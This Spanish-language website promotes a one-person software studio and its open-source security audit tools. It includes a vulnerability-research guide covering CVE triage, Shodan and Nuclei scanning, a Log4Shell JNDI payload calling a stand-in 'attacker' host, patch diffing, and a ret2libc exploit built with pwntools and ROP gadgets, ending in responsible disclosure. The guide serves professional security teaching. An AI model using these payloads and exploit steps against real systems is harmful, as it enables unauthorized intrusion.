Apps, herramientas y proyectos donde el rigor técnico y la creatividad no son opuestos — son la misma cosa.
Cada herramienta resuelve un problema real que ninguna otra resolvía como debía.
Sin frameworks de moda. Sin vendor lock-in. Sin dependencias que mañana pueden desaparecer. Cada decisión técnica se toma con la pregunta: ¿funcionará esto dentro de diez años?
Código nativo donde importa el rendimiento. Estándares abiertos donde importa la interoperabilidad. Arquitectura limpia donde importa el mantenimiento.
Swift/SwiftUI para macOS e iOS. Rendimiento real, integración real con el sistema operativo.
Sin telemetría invasiva. Sin cuentas obligatorias. Los datos del usuario son del usuario.
Las herramientas de seguridad y los algoritmos base son públicos. El producto añade valor encima.
VampSecure Studios es un estudio unipersonal fundado por Antonio Hernández López. Sin inversores. Sin comité editorial. Sin jefe de producto que no entiende el código.
Eso significa decisiones más lentas en lo accesorio y más rápidas en lo que importa. Significa que cada producto refleja la visión de quien lo construye sin filtros corporativos.
El estudio opera en la intersección de la ciberseguridad, el audio y los proyectos creativos — porque las mejores herramientas nacen cuando la competencia técnica y la sensibilidad artística se cruzan.
División pública de investigación en seguridad. 21 herramientas profesionales de auditoría, libres y en código abierto — porque el conocimiento en seguridad debe estar al alcance de todos.
// Neural Sentinel — dashboard forense y de seguridad para Apple Silicon M3
Herramienta de auditoría de seguridad y diagnóstico forense diseñada específicamente para sistemas Apple Silicon M3. Monitorización en tiempo real de red, privacidad del hardware y análisis de integridad del sistema.
pip install psutil colorama
sudo python vamp_mac_pulse_pub.pyVigilancia 24h activa. CVEs en tiempo real desde NIST NVD · Incidentes desde BleepingComputer · Nivel de amenaza calculado automáticamente.
Escaneando vectores de ataque activos...
Cuando un CVE entra en el stream, el primer paso es clasificarlo antes de invertir tiempo en él. Consultar el CWE (Common Weakness Enumeration) asociado determina si estamos ante un desbordamiento de buffer (CWE-787), use-after-free (CWE-416), inyección de código (CWE-94) o path traversal (CWE-22).
Verificar el EPSS score (Exploit Prediction Scoring System): probabilidad real de que exista exploit en los próximos 30 días. Un CVE con CVSS 9.8 pero EPSS 0.03 tiene prioridad inferior a uno con CVSS 7.5 y EPSS 0.87.
CVE-2024-3094 · XZ Utils · CWE-506 (backdoor en liblzma) · CVSS 10.0 · EPSS 0.95 → CRÍTICO
Afecta a systemd en Debian/Fedora sid. Vector: acceso SSH comprometido por liblzma maliciosa.
Con la clasificación clara, buscar Proof of Concept en fuentes verificadas. La velocidad importa: el 50% de los PoC aparecen en GitHub en menos de 48h. Buscar con gh search repos CVE-XXXX-XXXXX --sort=updated y filtrar por estrellado reciente. Validar el PoC antes de ejecutarlo: revisar el diff completo, comprobar firma del autor, aislar en docker run --network none.
Para mapear el parque vulnerable: Nuclei con templates oficiales (nuclei -t cves/2024/ -u https://target) es más fiable que Shodan para versiones exactas. Shodan es útil para rangos: http.title:"Apache Struts" http.status:200 country:ES o ssl.cert.subject.cn:*.target.com port:8443.
Confirmar la versión vulnerable antes de explotar: muchas distribuciones aplican backports de parches sin cambiar la versión del binario. Comprobar siempre con strings binary | grep -E "version|build" o via banner grabbing.
nuclei -t cves/2021/CVE-2021-44228.yaml -u https://target.com -H "User-Agent: {{jndi:ldap://attacker/x}}"
Log4Shell: Nuclei detecta el callback JNDI en el User-Agent. Requisito: JDK ≤ 8u191 sin parche de diciembre 2021.
Si no hay PoC pero el parche oficial ya existe, el código modificado revela el punto exacto de la vulnerabilidad. Descargar las dos versiones del binario (vulnerable y parcheada) y comparar con BinDiff o Diaphora desde Ghidra/IDA.
El diffing identifica las funciones modificadas. Desensamblar con Radare2 o Ghidra para leer el flujo de control antes y después del parche. Los cambios en validaciones de bounds o en punteros son el punto de entrada.
r2 -A libssl.so.3 && afl~SSL_read → pdf @ sym.SSL_read
Diff entre OpenSSL 3.0.6 y 3.0.7 (CVE-2022-3602): función ossl_punycode_decode() añade check de índice en offset +0x4a. Sin el parche: stack overflow de 4 bytes.
Con el vector confirmado, construir el payload en entorno completamente aislado (red desconectada, snapshot previo). Calcular offset con pwntools cyclic(300): el crash vuelca el valor del registro $rip o $rsp con el patrón. cyclic_find(0x61616171) devuelve el offset exacto — nunca asumir el que aparece en writeups de otros.
Gadgets ROP: ROPgadget --binary /lib/x86_64-linux-gnu/libc.so.6 --rop | grep "pop rdi". Verificar mitigaciones activas con checksec --file=./vuln (NX, PIE, RELRO, canary). Si hay canary, el enfoque cambia a format-string leak o heap overflow que evite el stack.
Objetivo: control confirmado del instruction pointer en lab. Documentar el primitivo exacto (write-what-where, RCE, LPE) antes de escalar.
cyclic(300) → crash en $rip=0x61616171 → cyclic_find(0x61616171) → 264
Payload final con ret2libc: b'A'*264 + p64(ret) + p64(pop_rdi) + p64(binsh) + p64(system). El gadget ret extra alinea el stack a 16 bytes para libc en Ubuntu ≥ 18.04.
El exploit funciona en lab. Ahora empieza el trabajo que distingue a un profesional de un script kiddie. En bug bounty: abrir el reporte en la plataforma (HackerOne/Bugcrowd) con CVSS calculado, PoC reproducible paso a paso y entorno exacto. Sin exagerar el impacto ni minorizarlo.
En pentest: el hallazgo va al informe estructurado con severidad, vector CVSS v3.1 completo (AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H), evidencia de explotación y recomendación de mitigación concreta — no "actualizar el software" sino "aplicar parche CVE-XXXX-XXXXX o mitigar con WAF rule X".
En responsible disclosure directa al vendor: contactar security@vendor.com con cifrado GPG, adjuntar el reporte y fijar un deadline de 90 días (estándar Google Project Zero). Registrar en MITRE si el vendor no responde en 7 días.
gpg --encrypt --recipient security@vendor.com report.txt → enviar con CVSSv3.1 + timeline + PoC
Día 0: contacto. Día 7: confirmación de recepción. Día 90: publicación coordinada o unilateral. Incluir IoCs si hay explotación activa en wild.
Datos de NIST NVD (API pública) y BleepingComputer. Esta sección es informativa y gratuita. Para inteligencia avanzada y monitorización personalizada, contáctanos.
Nuevas herramientas, releases y actualizaciones del ecosistema VampSecure Labs.
Primera herramienta de código abierto orientada a auditar la seguridad de APIs LLM en entornos de producción: prompt injection, jailbreak, exfiltración de datos vía SSRF, controles de acceso y rate limiting. 90 checks en 5 fases, salida JSON + HTML.
github.com/Vampsecure-Labs/vamp-llm-probe →Auditor completo de clústeres Kubernetes: RBAC, pods privilegiados, políticas de red, gestión de secretos, riesgos de imagen y runtime. 110 checks en 6 fases vía kubectl. Sin agente, sin permisos elevados.
github.com/Vampsecure-Labs/vamp-k8s-audit →Agrega los JSON de cualquier herramienta VSL en informes ejecutivos listos para el cliente: HTML con gauge SVG, roadmap de remediación en 4 fases, puntuación de riesgo 0-100 y deduplicación automática. Exportación HTML, PDF, Markdown y JSON.
github.com/Vampsecure-Labs/vamp-penreport →La organización github.com/Vampsecure-Labs abre sus puertas con 21 herramientas profesionales de seguridad bajo licencia MIT. Cada tool produce salida JSON unificada, exit codes para CI/CD y documentación completa en español. Cubre desde reconocimiento pasivo hasta auditoría de Kubernetes, análisis de secretos, seguridad de APIs LLM y reporting ejecutivo.
github.com/Vampsecure-Labs →Notas de campo, postmortems y reflexiones sobre el proceso de construir software independiente.
Consultoría técnica, colaboración en proyectos de software o simplemente una conversación sobre arquitectura, seguridad o herramientas creativas.